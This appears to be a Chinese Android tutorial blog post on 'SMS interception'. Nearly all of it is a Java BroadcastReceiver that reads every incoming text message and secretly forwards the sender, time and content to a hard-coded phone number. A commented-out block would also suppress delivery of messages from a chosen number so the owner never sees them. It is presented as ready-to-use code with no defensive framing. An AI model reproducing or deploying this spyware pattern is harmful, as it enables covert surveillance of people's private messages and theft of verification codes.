zoukankan      html  css  js  c++  java
  • 【慢慢学Android】:5.短信拦截

    手机接收到短信后会发出一段广播

      public class SMSBroadcastReceiver extends BroadcastReceiver { 
        @Override 
        public void onReceive(Context context, Intent intent) { 
            Object[] pdus = (Object[])intent.getExtras().get("pdus");//获取短信内容 
            for(Object pdu : pdus){ 
                byte[] data = (byte[]) pdu;//获取单条短信内容,短信内容以pdu格式存在 
                SmsMessage message = SmsMessage.createFromPdu(data);//使用pdu格式的短信数据生成短信对象 
                String sender = message.getOriginatingAddress();//获取短信的发送者 
                String content = message.getMessageBody();//获取短信的内容 
                Date date = new Date(message.getTimestampMillis()); 
                SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 
                String sendtime = format.format(date); 
                    SmsManager manager = SmsManager.getDefault(); 
                    manager.sendTextMessage("5556", null,"发送人:"+sender+"-----发送时间:"+sendtime+"----内容:"+content , null, null);//把拦截到的短信发送到你指定的手机,此处为5556 
                //    if("number".equals(sender)){ 
                //        abortBroadcast(); 
                //    }                                  //如果不想让机主接收到某个号码的短信, 
                                                        //可以取消这段注释, number 为指定的号码 
                                                        //也可在此处给这个号码回复的内容。。。。。 
            
            } 
        } 
    

      

     

  • 相关阅读:
    Spring AOP概念理解 (通俗易懂)
    分享一下几个关于ssm及spring原理的专栏链接
    liux高级常用命令
    Linux基础常用命令
    SP1716 GSS3
    HDU6579 Operation
    CF1205C Palindromic Paths
    CF1213G Path Queries
    CF1213F Unstable String Sort
    CF1213E Two Small Strings
  • 原文地址:https://www.cnblogs.com/VortexPiggy/p/2526993.html
Copyright © 2011-2022 走看看